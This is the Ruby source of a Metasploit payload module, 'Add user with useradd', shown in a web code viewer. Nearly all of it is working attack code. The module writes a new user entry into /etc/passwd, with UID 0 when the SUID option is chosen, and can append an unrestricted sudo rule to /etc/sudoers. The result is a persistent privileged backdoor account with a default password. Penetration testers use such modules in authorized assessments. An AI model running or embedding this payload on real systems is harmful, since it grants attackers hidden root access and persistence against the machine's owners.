Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/adduser.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'unix_crypt'67module MetasploitModule8CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Add user with useradd',18'Description' => %q{19Creates a new user. By default the new user is set with sudo20but other options exist to make the new user automatically21root but this is not automatically set since the new user will22be treated as root (and login may be difficult). The new user23can also be set as just a standard user if desired.24},25'Author' => 'Nick Cottrell <Rad10Logic>',26'License' => MSF_LICENSE,27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::None,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'generic',33'Payload' => {34'Offsets' => {},35'Payload' => ''36}37)38)3940register_options(41[42OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),43OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ])44]45)4647register_advanced_options(48[49OptEnum.new('RootMethod', [false, 'The method to obtain root with the new user', 'SUDO', ['SUID', 'SUDO', 'NONE']]),50OptBool.new('CheckSudoers', [false, 'Check if the sudoers file exists before modifying it', true], conditions: %w[RootMethod == SUDO])51]52)53end5455#56# Constructs the payload57#58def generate(_opts = {})59vprint_good(command_string)60return super + command_string61end6263def user64if datastore['USER'] !~ /^[a-z][-a-z0-9]*$/65raise ArgumentError, 'Username doesn\'t fit within regex /[a-z][-a-z0-9]*/'66end6768datastore['USER']69end7071#72# Returns the command string to use for execution73#74def command_string75suid = if datastore['RootMethod'] == 'SUID'76'0'77else78rand(1010..1999).to_s79end80passwd = UnixCrypt::MD5.build(datastore['PASS'], 'Az')81payload_cmd = "echo \'#{user}:#{passwd}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd"82if datastore['RootMethod'] == 'SUDO'83if datastore['CheckSudoers']84payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)"85else86payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers"87end88end89payload_cmd90end91end929394